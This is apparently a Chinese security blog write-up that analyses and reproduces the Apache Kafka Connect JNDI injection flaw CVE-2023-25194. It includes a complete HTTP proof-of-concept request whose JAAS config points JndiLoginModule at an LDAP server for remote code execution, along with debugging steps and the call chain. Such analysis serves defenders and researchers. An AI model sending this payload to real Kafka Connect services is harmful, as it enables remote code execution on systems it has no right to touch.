Kafka JNDI注入漏洞分析
字数 1420 2025-08-24 10:10:13

Apache Kafka JNDI注入漏洞(CVE-2023-25194)分析与复现指南

0x00 漏洞概述

Apache Kafka是一个分布式流处理平台,用于构建实时数据管道和流应用程序。CVE-2023-25194是一个JNDI注入漏洞,影响版本为2.4.0 <= Apache Kafka <= 3.3.2。

该漏洞允许攻击者通过构造特定的JNDI配置,在Kafka Connect服务中执行任意代码,可能导致远程代码执行(RCE)。

0x01 漏洞复现

环境准备

  1. 下载受影响版本的Kafka
  2. 准备Java开发环境(JDK 8+)
  3. 准备LDAP服务器用于JNDI注入测试

启动Kafka服务

./bin/zookeeper-server-start.sh ./config/zookeeper.properties
./bin/kafka-server-start.sh ./config/server.properties
./bin/connect-standalone.sh ./config/connect-standalone.properties ./config/connect-file-source.properties ./config/connect-file-sink.properties

验证服务

访问http://127.0.0.1:8083/connector-plugins,确认服务正常运行并返回可用插件列表。

漏洞利用POC

发送以下HTTP请求触发漏洞:

POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 811

{
  "name": "debezium-test-50174",
  "config": {
    "connector.class": "io.debezium.connector.mysql.MySqlConnector",
    "database.hostname": "127.0.0.1",
    "database.port": "3306",
    "database.user": "root",
    "database.password": "Admin@123",
    "database.server.id": "316545017",
    "database.server.name": "test1",
    "database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
    "database.history.kafka.topic": "quickstart-events",
    "database.history.producer.security.protocol": "SASL_SSL",
    "database.history.producer.sasl.mechanism": "PLAIN",
    "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://127.0.0.1:1389/xmzgie\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
  }
}

关键点:

  • database.history.producer.sasl.jaas.config参数包含恶意JNDI注入
  • user.provider.url指向攻击者控制的LDAP服务器

0x02 调试环境配置

启用Kafka调试模式

  1. 修改bin/kafka-run-class.sh文件
  2. 在文件开头添加:export KAFKA_DEBUG=2
  3. 启动服务后会监听5005端口

IDEA远程调试配置

  1. 创建空项目
  2. 导入Kafka的libs目录下所有JAR包
  3. 配置Remote JVM Debug,连接到5005端口

0x03 漏洞分析

调用链分析

  1. HTTP请求入口

    • ConnectorsResource#createConnector处理HTTP请求
    • 创建新线程处理连接器初始化
  2. 连接器初始化

    • 创建io.debezium.connector.mysql.MySqlConnector实例
    • 调用BaseSourceTask#start方法
  3. 数据库历史记录初始化

    • MySqlConnector#startMySqlDatabaseSchema构造方法
    • 调用父类HistorizedRelationalDatabaseSchema构造方法
    • 调用KafkaDatabaseHistory#start
  4. Kafka生产者创建

    • KafkaDatabaseHistory#start中创建KafkaProducer
    • 进入KafkaProducer构造方法
  5. 安全配置处理

    • ClientUtils.createChannelBuilder处理安全配置
    • ChannelBuilders.clientChannelBuilder创建通道构建器
    • 调用LoginManager.acquireLoginManager初始化登录管理器
  6. JNDI注入触发点

    • LoginManager构造函数调用login.login()
    • 进入JndiLoginModule#login方法
    • 最终在JndiLoginModule#attemptAuthentication触发JNDI注入

关键代码片段

// JndiLoginModule.java
public boolean login() throws LoginException {
    attemptAuthentication(false);  // 漏洞触发点
    return true;
}

private void attemptAuthentication(boolean ignorePassword) throws LoginException {
    // 从配置中获取user.provider.url
    String providerUrl = options.get("user.provider.url");
    // 执行JNDI查找
    DirContext ctx = new InitialDirContext(env);
    // ...
}

0x04 漏洞修复

升级到Apache Kafka 3.3.3或更高版本,该版本修复了JNDI注入漏洞。

0x05 参考链接

  1. Kafka JNDI Injection漏洞分析
  2. Kafka Connect简介与部署
Apache Kafka JNDI注入漏洞(CVE-2023-25194)分析与复现指南 0x00 漏洞概述 Apache Kafka是一个分布式流处理平台,用于构建实时数据管道和流应用程序。CVE-2023-25194是一个JNDI注入漏洞,影响版本为2.4.0 <= Apache Kafka <= 3.3.2。 该漏洞允许攻击者通过构造特定的JNDI配置,在Kafka Connect服务中执行任意代码,可能导致远程代码执行(RCE)。 0x01 漏洞复现 环境准备 下载受影响版本的Kafka 准备Java开发环境(JDK 8+) 准备LDAP服务器用于JNDI注入测试 启动Kafka服务 验证服务 访问 http://127.0.0.1:8083/connector-plugins ,确认服务正常运行并返回可用插件列表。 漏洞利用POC 发送以下HTTP请求触发漏洞: 关键点: database.history.producer.sasl.jaas.config 参数包含恶意JNDI注入 user.provider.url 指向攻击者控制的LDAP服务器 0x02 调试环境配置 启用Kafka调试模式 修改 bin/kafka-run-class.sh 文件 在文件开头添加: export KAFKA_DEBUG=2 启动服务后会监听5005端口 IDEA远程调试配置 创建空项目 导入Kafka的libs目录下所有JAR包 配置Remote JVM Debug,连接到5005端口 0x03 漏洞分析 调用链分析 HTTP请求入口 : ConnectorsResource#createConnector 处理HTTP请求 创建新线程处理连接器初始化 连接器初始化 : 创建 io.debezium.connector.mysql.MySqlConnector 实例 调用 BaseSourceTask#start 方法 数据库历史记录初始化 : MySqlConnector#start → MySqlDatabaseSchema 构造方法 调用父类 HistorizedRelationalDatabaseSchema 构造方法 调用 KafkaDatabaseHistory#start Kafka生产者创建 : KafkaDatabaseHistory#start 中创建 KafkaProducer 进入 KafkaProducer 构造方法 安全配置处理 : ClientUtils.createChannelBuilder 处理安全配置 ChannelBuilders.clientChannelBuilder 创建通道构建器 调用 LoginManager.acquireLoginManager 初始化登录管理器 JNDI注入触发点 : LoginManager 构造函数调用 login.login() 进入 JndiLoginModule#login 方法 最终在 JndiLoginModule#attemptAuthentication 触发JNDI注入 关键代码片段 0x04 漏洞修复 升级到Apache Kafka 3.3.3或更高版本,该版本修复了JNDI注入漏洞。 0x05 参考链接 Kafka JNDI Injection漏洞分析 Kafka Connect简介与部署